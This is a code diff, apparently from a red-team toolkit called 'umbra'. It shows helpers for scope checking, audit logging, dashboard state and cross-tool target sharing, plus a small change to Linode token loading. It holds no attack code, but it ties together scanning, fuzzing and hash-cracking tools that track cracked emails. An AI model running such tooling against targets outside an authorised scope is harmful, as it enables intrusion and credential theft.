|
# IP range match
|
||||||
|
if re.match(r"^\d+\.\d+\.\d+\.\d+-\d+$", entry):
|
||||||
|
if target_is_ip and _match_ip_range(target, entry):
|
||||||
|
return True
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Exact IP match
|
||||||
|
if _is_ip(entry) and target_is_ip:
|
||||||
|
if target == entry:
|
||||||
|
return True
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Wildcard FQDN match
|
||||||
|
if entry_lower.startswith("*."):
|
||||||
|
# *.example.com matches foo.example.com and example.com
|
||||||
|
domain_part = entry_lower[2:]
|
||||||
|
if target == domain_part or target.endswith("." + domain_part):
|
||||||
|
return True
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Exact FQDN match
|
||||||
|
if target == entry_lower:
|
||||||
|
return True
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def get_scope_for_engagement(name):
|
||||||
|
"""Load scope from an engagement's scope.txt file."""
|
||||||
|
eng_dir = os.path.join(ENGAGEMENTS_DIR, name.strip().replace(" ", "_"))
|
||||||
|
scope_file = os.path.join(eng_dir, "scope.txt")
|
||||||
|
return load_scope(scope_file)
|
||||||
|
|
||||||
|
|
||||||
|
# ─── Operational Logging ────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def op_log(engagement, message, level="info"):
|
||||||
|
"""Append a timestamped log entry to the engagement's umbra.log.
|
||||||
|
|
||||||
|
Levels: info=[*], success=[+], warning=[!], error=[-]
|
||||||
|
"""
|
||||||
|
prefixes = {
|
||||||
|
"info": "[*]",
|
||||||
|
"success": "[+]",
|
||||||
|
"warning": "[!]",
|
||||||
|
"error": "[-]",
|
||||||
|
}
|
||||||
|
prefix = prefixes.get(level, "[*]")
|
||||||
|
ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
|
||||||
|
eng_dir = os.path.join(ENGAGEMENTS_DIR, engagement.strip().replace(" ", "_"))
|
||||||
|
log_path = os.path.join(eng_dir, "umbra.log")
|
||||||
|
try:
|
||||||
|
os.makedirs(eng_dir, exist_ok=True)
|
||||||
|
with open(log_path, "a") as f:
|
||||||
|
f.write(f"{ts} {prefix} {message}\n")
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def op_log_csv(engagement, tool, action, target, result):
|
||||||
|
"""Append a structured CSV audit row to command_log.csv."""
|
||||||
|
eng_dir = os.path.join(ENGAGEMENTS_DIR, engagement.strip().replace(" ", "_"))
|
||||||
|
csv_path = os.path.join(eng_dir, "command_log.csv")
|
||||||
|
ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
|
||||||
|
try:
|
||||||
|
os.makedirs(eng_dir, exist_ok=True)
|
||||||
|
with open(csv_path, "a", newline="") as f:
|
||||||
|
writer = csv.writer(f)
|
||||||
|
writer.writerow([ts, tool, action, target, result])
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def generate_engagement_summary(name):
|
||||||
|
"""Generate a text summary of all tool activity within an engagement."""
|
||||||
|
eng_dir = os.path.join(ENGAGEMENTS_DIR, name.strip().replace(" ", "_"))
|
||||||
|
if not os.path.isdir(eng_dir):
|
||||||
|
return f"Engagement '{name}' not found."
|
||||||
|
|
||||||
|
lines = [
|
||||||
|
f"Engagement Summary: {name}",
|
||||||
|
f"{'=' * 50}",
|
||||||
|
f"Path: {eng_dir}",
|
||||||
|
f"Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}",
|
||||||
|
"",
|
||||||
|
]
|
||||||
|
|
||||||
|
# Check each tool subdirectory for .db files
|
||||||
|
for tool_name, subdir in TOOL_DIR_MAP.items():
|
||||||
|
tool_dir = os.path.join(eng_dir, subdir)
|
||||||
|
db_path = os.path.join(tool_dir, f"{tool_name}.db")
|
||||||
|
if os.path.exists(db_path):
|
||||||
|
try:
|
||||||
|
conn = sqlite3.connect(db_path)
|
||||||
|
tables = [r[0] for r in conn.execute(
|
||||||
|
"SELECT name FROM sqlite_master WHERE type='table'"
|
||||||
|
).fetchall()]
|
||||||
|
counts = {}
|
||||||
|
for tbl in tables:
|
||||||
|
try:
|
||||||
|
c = conn.execute(f'SELECT COUNT(*) FROM "{tbl}"').fetchone()[0]
|
||||||
|
if c > 0:
|
||||||
|
counts[tbl] = c
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
conn.close()
|
||||||
|
if counts:
|
||||||
|
lines.append(f" {tool_name}:")
|
||||||
|
for tbl, cnt in counts.items():
|
||||||
|
lines.append(f" {tbl}: {cnt:,} records")
|
||||||
|
except Exception:
|
||||||
|
lines.append(f" {tool_name}: DB error")
|
||||||
|
else:
|
||||||
|
# Check if directory has any files at all
|
||||||
|
if os.path.isdir(tool_dir) and os.listdir(tool_dir):
|
||||||
|
lines.append(f" {tool_name}: files present (no DB)")
|
||||||
|
|
||||||
|
# Scope info
|
||||||
|
scope = get_scope_for_engagement(name)
|
||||||
|
if scope:
|
||||||
|
lines.append(f"\nScope: {len(scope)} entries")
|
||||||
|
for entry in scope[:10]:
|
||||||
|
lines.append(f" {entry}")
|
||||||
|
if len(scope) > 10:
|
||||||
|
lines.append(f" ... and {len(scope) - 10} more")
|
||||||
|
|
||||||
|
# Log stats
|
||||||
|
log_path = os.path.join(eng_dir, "umbra.log")
|
||||||
|
if os.path.exists(log_path):
|
||||||
|
with open(log_path) as f:
|
||||||
|
log_lines = f.readlines()
|
||||||
|
# Count non-comment, non-empty lines
|
||||||
|
entries = [l for l in log_lines if l.strip() and not l.startswith("#")]
|
||||||
|
lines.append(f"\nLog entries: {len(entries)}")
|
||||||
|
|
||||||
|
# CSV command log
|
||||||
|
csv_path = os.path.join(eng_dir, "command_log.csv")
|
||||||
|
if os.path.exists(csv_path):
|
||||||
|
with open(csv_path) as f:
|
||||||
|
reader = csv.reader(f)
|
||||||
|
next(reader, None) # Skip header
|
||||||
|
commands = list(reader)
|
||||||
|
lines.append(f"Commands logged: {len(commands)}")
|
||||||
|
|
||||||
|
return "\n".join(lines)
|
||||||
|
|
||||||
|
|
||||||
|
# ─── State & Event Stream (for ops dashboard) ──────────────────────────────
|
||||||
|
|
||||||
|
def write_tool_state(engagement, tool_name, status, **extra):
|
||||||
|
"""Write tool status to state.json for dashboard consumption.
|
||||||
|
|
||||||
|
Called automatically by op_log when level is 'success' (tool start/finish).
|
||||||
|
Can also be called directly for fine-grained control.
|
||||||
|
"""
|
||||||
|
eng_dir = os.path.join(ENGAGEMENTS_DIR, engagement.strip().replace(" ", "_"))
|
||||||
|
state_path = os.path.join(eng_dir, "state.json")
|
||||||
|
try:
|
||||||
|
os.makedirs(eng_dir, exist_ok=True)
|
||||||
|
fd = os.open(state_path, os.O_RDWR | os.O_CREAT)
|
||||||
|
try:
|
||||||
|
fcntl.flock(fd, fcntl.LOCK_EX)
|
||||||
|
raw = b""
|
||||||
|
while True:
|
||||||
|
chunk = os.read(fd, 8192)
|
||||||
|
if not chunk:
|
||||||
|
break
|
||||||
|
raw += chunk
|
||||||
|
state = json.loads(raw) if raw.strip() else {"tools": {}}
|
||||||
|
state.setdefault("tools", {})
|
||||||
|
tool_entry = state["tools"].get(tool_name, {})
|
||||||
|
tool_entry["status"] = status
|
||||||
|
tool_entry.update(extra)
|
||||||
|
state["tools"][tool_name] = tool_entry
|
||||||
|
state["updated"] = time.strftime("%Y-%m-%dT%H:%M:%S")
|
||||||
|
out = json.dumps(state, indent=2).encode()
|
||||||
|
os.lseek(fd, 0, os.SEEK_SET)
|
||||||
|
os.ftruncate(fd, 0)
|
||||||
|
os.write(fd, out)
|
||||||
|
finally:
|
||||||
|
fcntl.flock(fd, fcntl.LOCK_UN)
|
||||||
|
os.close(fd)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def emit_event(engagement, tool_name, event_type, message):
|
||||||
|
"""Append event to events.jsonl for dashboard live feed."""
|
||||||
|
eng_dir = os.path.join(ENGAGEMENTS_DIR, engagement.strip().replace(" ", "_"))
|
||||||
|
events_path = os.path.join(eng_dir, "events.jsonl")
|
||||||
|
try:
|
||||||
|
os.makedirs(eng_dir, exist_ok=True)
|
||||||
|
entry = json.dumps({
|
||||||
|
"ts": time.strftime("%Y-%m-%dT%H:%M:%S"),
|
||||||
|
"tool": tool_name,
|
||||||
|
"type": event_type,
|
||||||
|
"msg": message,
|
||||||
|
})
|
||||||
|
with open(events_path, "a") as f:
|
||||||
|
fcntl.flock(f, fcntl.LOCK_EX)
|
||||||
|
f.write(entry + "\n")
|
||||||
|
fcntl.flock(f, fcntl.LOCK_UN)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
# ─── Cross-Tool Imports ─────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
# Maps tool name to (table_name, target_column) for extracting targets
|
||||||
|
TOOL_TARGET_QUERIES = {
|
||||||
|
"um-scan": ("SELECT DISTINCT host FROM hosts", "host"),
|
||||||
|
"um-api": ("SELECT DISTINCT target FROM targets", "target"),
|
||||||
|
"um-intel": ("SELECT DISTINCT target FROM targets", "target"),
|
||||||
|
"um-enum": ("SELECT DISTINCT domain FROM targets", "domain"),
|
||||||
|
"um-fuzz": ("SELECT DISTINCT base_url FROM results", "base_url"),
|
||||||
|
"um-hash": ("SELECT DISTINCT domain FROM sites", "domain"),
|
||||||
|
"um-wp": ("SELECT DISTINCT domain FROM sites WHERE is_wordpress=1", "domain"),
|
||||||
|
"um-crack": ("SELECT DISTINCT domain FROM hashes WHERE cracked_email != ''", "domain"),
|
||||||
|
"um-exif": ("SELECT DISTINCT file_path FROM images WHERE has_exif=1", "file_path"),
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def get_targets_from_tool_db(db_path, tool_name):
|
||||||
|
"""Query another tool's database to extract target list.
|
||||||
|
|
||||||
|
Returns a list of target strings.
|
||||||
|
"""
|
||||||
|
if not os.path.exists(db_path):
|
||||||
|
return []
|
||||||
|
|
||||||
|
query_info = TOOL_TARGET_QUERIES.get(tool_name)
|
||||||
|
if not query_info:
|
||||||
|
return []
|
||||||
|
|
||||||
|
query = query_info[0]
|
||||||
|
try:
|
||||||
|
conn = sqlite3.connect(db_path)
|
||||||
|
rows = conn.execute(query).fetchall()
|
||||||
|
conn.close()
|
||||||
|
return [str(r[0]) for r in rows if r[0]]
|
||||||
|
except Exception:
|
||||||
|
return []
|
||||||
|
|
||||||
|
|
||||||
|
def find_tool_db(tool_name, engagement=None):
|
||||||
|
"""Locate a tool's database file.
|
||||||
|
|
||||||
|
Search order:
|
||||||
|
1. Engagement directory (if provided)
|
||||||
|
2. Current working directory
|
||||||
|
"""
|
||||||
|
# Check engagement directory first
|
||||||
|
if engagement:
|
||||||
|
db_path = get_engagement_db_path(engagement, tool_name)
|
||||||
|
if os.path.exists(db_path):
|
||||||
|
return db_path
|
||||||
|
|
||||||
|
# Fall back to current working directory
|
||||||
|
cwd_path = os.path.join(os.getcwd(), f"{tool_name}.db")
|
||||||
|
if os.path.exists(cwd_path):
|
||||||
|
return cwd_path
|
||||||
|
|
||||||
|
return None
|
||||||
@@ -170,9 +170,7 @@ def set_provider_environment_for_teardown(config):
|
|||||||
# Load token from provider vars file
|
# Load token from provider vars file
|
||||||
try:
|
try:
|
||||||
from utils.common import load_vars_file, PROVIDER_DIRS
|
from utils.common import load_vars_file, PROVIDER_DIRS
|
||||||
provider_dir = PROVIDER_DIRS.get(provider, provider.capitalize())
|
vars_data = load_vars_file(provider)
|
||||||
vars_file = f"providers/{provider_dir}/vars.yaml"
|
|
||||||
vars_data = load_vars_file(vars_file)
|
|
||||||
if vars_data and vars_data.get('linode_token'):
|
if vars_data and vars_data.get('linode_token'):
|
||||||
os.environ['LINODE_TOKEN'] = vars_data['linode_token']
|
os.environ['LINODE_TOKEN'] = vars_data['linode_token']
|
||||||
config['linode_token'] = vars_data['linode_token'] # Add to config for later use
|
config['linode_token'] = vars_data['linode_token'] # Add to config for later use
|
||||||
|
|||||||
Reference in New Issue
Block a user